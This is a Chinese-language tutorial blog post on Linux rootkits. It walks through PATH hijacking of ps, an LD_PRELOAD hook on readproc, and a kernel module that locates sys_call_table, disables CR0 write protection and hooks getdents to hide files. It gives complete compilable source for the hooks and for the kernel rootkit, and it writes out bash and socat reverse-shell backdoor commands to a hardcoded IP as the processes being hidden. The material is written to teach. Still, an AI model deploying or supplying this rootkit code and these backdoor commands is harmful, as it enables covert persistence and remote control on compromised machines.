簡報版本 : https://www.slideshare.net/ssuserd44fa2/rootkit-101-228943978
root + kit 的意思就是拿到 root 權限後可以用的工具包,大多是隱藏程序的技巧,所以 rootkit 也可以理解成隱藏程序技術的通稱,不過也有些不需要 root 的隱藏程序技術,今天會逐一介紹 linux 上 rootkit 的原理與實作
隱之呼吸壹之型 - PATH Hijack
條件
不需要 root
目標
在 ps
的結果中隱藏下面兩種簡單的後門
bash -i >& /dev/tcp/192.168.100.100/9999 0>&1
socat TCP:192.168.100.100:9999 EXEC:/bin/bash
手法
假設在 $PATH
環境變數中 /usr/local/bin
在 /bin
前面,所以我們可以寫一個檔案在 /usr/local/bin/ps
,這樣 ps
就會執行 /usr/local/bin/ps
而不是 /bin/ps
,而達到 hook 程序的效果
1 2 #!/bin/bash /bin/ps $@ | grep -Ev '192.168.100.100|socat'
grep -Ev
是 inverse match
$@
是傳進來的參數 ( 這裡原封不動的交給 /bin/ps
)
隱之呼吸貳之型 - LD_PRELOAD
條件
不需要 root
目標
在 ps
的結果中隱藏下面兩種簡單的後門
bash -i >& /dev/tcp/192.168.100.100/9999 0>&1
socat TCP:192.168.100.100:9999 EXEC:/bin/bash
要 hook 哪個函式
首先我們可以用 ltrace
看 ps
跑起來呼叫了哪些 library 的函式
1 2 3 4 5 6 7 ... fwrite(" [jfsCommit]\nhe]\n4\n0\n\nstart\ngrou" ..., 13 , 1 , 0x7fbfcd303760 ) = 1 readproc(0x55e061b12f90 , 0x55e0609d1540 , 13 , 1024 ) = 0x55e0609d1540 escape_str(0x7fbfcd90b090 , 0x55e0609d1740 , 0x20000 , 0x7fff6f748044 ) = 4 strlen ("root" ) = 4 fwrite("root" , 4 , 1 , 0x7fbfcd303760 ) = 1 ...
會發現 readproc
一直出現,查看一下 man page
1 2 3 4 5 6 7 8 NAME readproc, freeproc - read information from next /proc/## entry SYNOPSIS #include <proc/readproc.h> proc_t* readproc(PROCTAB *PT, proc_t *return_buf); void freeproc(proc_t *p);
那我們就在 ps
的原始碼中找一下 readproc
的用法,如下
procps-3.2.8/ps/display.c >331 1 2 3 4 5 6 7 8 9 ptp = openproc(needs_for_format | needs_for_sort | needs_for_select | needs_for_threads); if (!ptp) { fprintf (stderr , "Error: can not access /proc.\n" ); exit (1 ); } memset (&buf, '#' , sizeof (proc_t ));switch (thread_flags & (TF_show_proc|TF_loose_tasks|TF_show_task)){case TF_show_proc: while (readproc(ptp,&buf)){}}
如何取得 ps 原始碼
ps
這個指令是來自 procps
,可以從 procps.sourceforge.net 下載
另外其他基本的 shell 指令的原始碼則可以從 www.gnu.org/software/coreutils 下載
基本上就是先 openproc
然後再用 readproc
一次讀一個 process entry
ptp
的型態是 PROCTAB*
,裡面有 linked list 的結構,讓程式能找到下一個 process
buf
的型態是 proc_t*
,包含了 process 的資訊
那我們就去 hook readproc
這個函式,把想隱藏的 procss 跳過
dlsym
1 typeof(readproc) *old_readproc = dlsym(RTLD_NEXT, "readproc" );
這行是 LD_PRELOAD
技巧的關鍵,我們用 dlsym
這個函式來找 symbol 的位址
放 RTLD_NEXT
這個參數會找下一個 symbol 而不是第一個
typeof(readproc)
只是一個語法糖,代表 readproc
這個 function pointer 的型態
POC 原始碼
hook.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #define _GNU_SOURCE #include <dlfcn.h> #include <string.h> #include <proc/readproc.h> int hidden (char *target) { char *keywords[2 ] = { "192.168.100.100" , "socat" }; for (int i = 0 ; i < 2 ; i++) if (strstr (target, keywords[i])) return 1 ; return 0 ; } proc_t * readproc (PROCTAB *PT, proc_t *return_buf) { typeof(readproc) *old_readproc = dlsym(RTLD_NEXT, "readproc" ); proc_t * ret_value = old_readproc(PT, return_buf); while (ret_value && ret_value->cmdline && hidden(ret_value->cmdline[0 ])) { ret_value = old_readproc(PT, return_buf); } return ret_value; }
編譯
1 gcc -fPIC -shared -o hook.so hook.c
執行
指定 LD_PRELOAD
環境變數來載入編譯好的動態連結庫,但只有該次生效
1 LD_PRELOAD=/path/to/hook.so ps aux
或是編輯 ld.so.preload
,寫入 hook.so
的路徑,之後每次執行都會載入,可以用 ldd
查看是否成功 preload
DEMO
隱之呼吸參之型 - Loadable Kernel Module
條件
需要 root
目標
在 ls
的結果中隱藏 rootkit.ko
取得 sys_call_table
首先因為我們要 hijack system call 所以要先取得 sys_call_table
的位址
方法一
在 2.4 以前的內核版本,預設導出所有符號,所以可以直接用
如果自己編譯內核的話,可以修改原始碼用 EXPORT_SYMBOL
把 sys_call_table
的符號導出來
1 extern void *sys_call_table[];
方法二
kallsyms_lookup_name
這個函式也可以抓位址,但他也不一定會被導出
1 2 3 4 5 6 7 8 9 #include <linux/kallsyms.h> static void **sys_call_table;static int __init hook_init (void ) { sys_call_table = (void **)kallsyms_lookup_name("sys_call_table" ); printk(KERN_INFO "sys_call_table = 0x%px\n" , sys_call_table); return 0 ; }
How to printk a pointer ?
要用 printk 印出 pointer 可以用 %px
%p
只會印出該指標的雜湊值而不是真正的指標的值,這是為了避免洩漏內核位址
方法三
下面兩個檔案路徑有可能會有 sys_call_table 的位址
/proc/kallsyms 是一個特殊的檔案,會在讀取時動態產生
1 2 cat /boot/System.map-$(uname -r) | grep "sys_call_table" cat /proc/kallsyms | grep "sys_call_table"
方法四
最穩的方式是自己去 kernel 裡面撈 memory
想法源自於這篇 ,但 kernel 5.x.x 有多包了一層 do_syscall_64
,需要做一些改動
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 uint8_t *get_syscalltable (void ) { int lo, hi; asm volatile ("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR)) ; uint8_t *entry_SYSCALL_64 = (uint8_t *)(((uint64_t )hi << 32 ) | lo); uint8_t *ptr; uint8_t do_syscall_64_inst[7 ] = { 0x48 , 0x89 , 0xc7 , 0x48 , 0x89 , 0xe6 , 0xe8 , }; ptr = find(entry_SYSCALL_64, do_syscall_64_inst, 7 ); uint8_t *do_syscall_64 = (uint8_t *)(ptr + 11 + ((uint64_t )0xffffffff00000000 | *(uint32_t *)(ptr + 7 ))); uint8_t sys_call_table_inst[4 ] = { 0x48 , 0x8b , 0x04 , 0xfd }; ptr = find(do_syscall_64, sys_call_table_inst, 4 ); uint8_t *sys_call_table = (uint8_t *)((uint64_t )0xffffffff00000000 | *(uint32_t *)(ptr + 4 )); return sys_call_table; }
要理解上面的程式碼在做什麼,我們需要知道下面兩件事
Module Specific Register 是什麼 ?
module specific register 是一塊跟 CPU 有關的暫存器
每個 msr 都會有個 index,可以想像成一個很大的陣列
用 rdmsr
, wrmsr
這組 instructions 可以對 msr 做讀寫,必須提供 index
kernel 一開始在初始化的時候,把 entry_SYSCALL_64
寫到 msr[MSR_LSTAR]
syscall 執行下去實際上是發生什麼事 ?
使用者呼叫 syscall
切換到 ring 0
跳去 msr[MSR_LSTAR] 這個位址也就是 entry_SYSCALL_64
這裡
呼叫 do_syscall_64
regs->ax = sys_call_table[nr](regs);
這行呼叫對應的函式
解讀上面的程式碼的步驟
我們已經在 ring 0 了
直接用 rdmsr
讀 msr[MSR_LSTAR]
直接在 entry_SYSCALL_64
的 instructions 裡面找下面這個 pattern
1 2 3 movq %rax, %rdi, movq %rsp, %rsi call do_syscall_64
這樣就找到 do_syscall_64
了
進到 do_syscall_64
後,一樣畫葫蘆,再找下面這個 pattern
1 mov rax, QWORD PTR [rdi*8-?]
最後,這個問號的值就會是 sys_call_table
的位址
讓 sys_call_table
可以寫入
cr0 register 的其中一個 bit 是代表 read-only 區段可不可寫,改成 0 就通通可寫啦
write_cr0
這個 function 在 kernel 5.x.x 版加了檢查,不過我們直接寫 assembly 就沒問題啦
1 2 3 4 5 6 7 8 9 void writable_unlock (void ) { unsigned long val = read_cr0() & (~X86_CR0_WP); asm volatile ("mov %0,%%cr0" : "+r" (val)) ; } void writable_lock (void ) { unsigned long val = read_cr0() | X86_CR0_WP; asm volatile ("mov %0,%%cr0" : "+r" (val)) ; }
要 hook 哪個 syscall
ps
做的事情就是去讀 /proc
底下所有檔案,基本上是 ls
的強化版,那我們這次就先做 ls
隱藏檔案
一樣用 strace ls
去看他呼叫了哪些 syscall
1 2 3 4 5 6 getdents(3 , , 32768 ) = 512 getdents(3 , , 32768 ) = 0 close(3 ) fstat(1 , {st_mode=S_IFCHR|0620 , st_rdev=makedev(136 , 1 ), ...}) = 0 write(1 , "a\thook.c\t initramfs\t linux-5." ..., 75 ) = 75 write(1 , "attach\thook.so initramfs.cpio.g" ..., 90 ) = 90
getdents
看起來是關鍵的 syscall,查看一下 man page
1 2 3 4 5 6 7 8 9 10 NAME getdents, getdents64 - get directory entries SYNOPSIS int getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count); int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); Note: There are no glibc wrappers for these system calls; see NOTES.
getdents
跑完後會把結果存到 dirp
裡面,那我們就遍歷 dirp
把要隱藏的丟掉就好了
kernel 4.x.x 的參數是放在 stack 傳的,但 kernel 5.x.x 多包了一層 do_syscall_64
,參數傳遞變成是透過 struct pt_regs *regs
這個結構去傳
rootkit.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 #include <linux/init.h> #include <linux/module.h> #include <linux/kallsyms.h> #include <linux/syscalls.h> MODULE_LICENSE("GPL" ); struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[]; }; void **sys_call_table;int (*original_getdents) (struct pt_regs *regs);void writable_unlock (void ) { unsigned long val = read_cr0() & (~X86_CR0_WP); asm volatile ("mov %0,%%cr0" : "+r" (val)) ; } void writable_lock (void ) { unsigned long val = read_cr0() | X86_CR0_WP; asm volatile ("mov %0,%%cr0" : "+r" (val)) ; } uint8_t *find (uint8_t *a, uint8_t *b, size_t len) { for (uint8_t *ptr = a, i = 0 ; i < 500 ; i++, ptr++) { if (!strncmp (ptr, b, len)) { return ptr; } } return 0 ; } uint8_t *get_syscalltable (void ) { int lo, hi; asm volatile ("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR)) ; uint8_t *entry_SYSCALL_64 = (uint8_t *)(((uint64_t )hi << 32 ) | lo); uint8_t *ptr; uint8_t do_syscall_64_inst[7 ] = { 0x48 , 0x89 , 0xc7 , 0x48 , 0x89 , 0xe6 , 0xe8 , }; ptr = find(entry_SYSCALL_64, do_syscall_64_inst, 7 ); uint8_t *do_syscall_64 = (uint8_t *)(ptr + 11 + ((uint64_t )0xffffffff00000000 | *(uint32_t *)(ptr + 7 ))); uint8_t sys_call_table_inst[4 ] = { 0x48 , 0x8b , 0x04 , 0xfd }; ptr = find(do_syscall_64, sys_call_table_inst, 4 ); uint8_t *sys_call_table = (uint8_t *)((uint64_t )0xffffffff00000000 | *(uint32_t *)(ptr + 4 )); return sys_call_table; } #define FILENAME "rootkit.ko" int sys_getdents_hook (struct pt_regs *regs) { int total = original_getdents(regs); unsigned int fd = regs->di; struct linux_dirent *dirent = regs->si; unsigned int count = regs->dx; int offset = 0 ; while (offset < total) { struct linux_dirent *ptr = (struct linux_dirent *)((uint8_t *)dirent + offset); struct linux_dirent *next_ptr = (struct linux_dirent *)((uint8_t *)dirent + offset + ptr->d_reclen); if (strncmp (ptr->d_name, FILENAME, strlen (FILENAME)) == 0 ) { int reclen = ptr->d_reclen; memmove(ptr, next_ptr, total - (offset + reclen)); total -= reclen; } else { offset += ptr->d_reclen; } } return total; } static int rootkit_init (void ) { sys_call_table = (void **)get_syscalltable(); printk(KERN_INFO "sys_call_table = %llu\n" , sys_call_table); writable_unlock(); original_getdents = sys_call_table[__NR_getdents]; sys_call_table[__NR_getdents] = sys_getdents_hook; return 0 ; } static void rootkit_exit (void ) { sys_call_table[__NR_getdents] = original_getdents; writable_lock(); } module_init(rootkit_init); module_exit(rootkit_exit);
DEMO
1: http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/
2: https://exploit.ph/linux-kernel-hacking/2014/10/23/rootkit-for-hiding-files/
3: https://docs-conquer-the-universe.readthedocs.io/zh_CN/latest/gnu_linux.html
4: https://www.kernel.org/doc/Documentation/printk-formats.txt
5: https://blog.trailofbits.com/2019/01/17/how-to-write-a-rootkit-without-really-trying/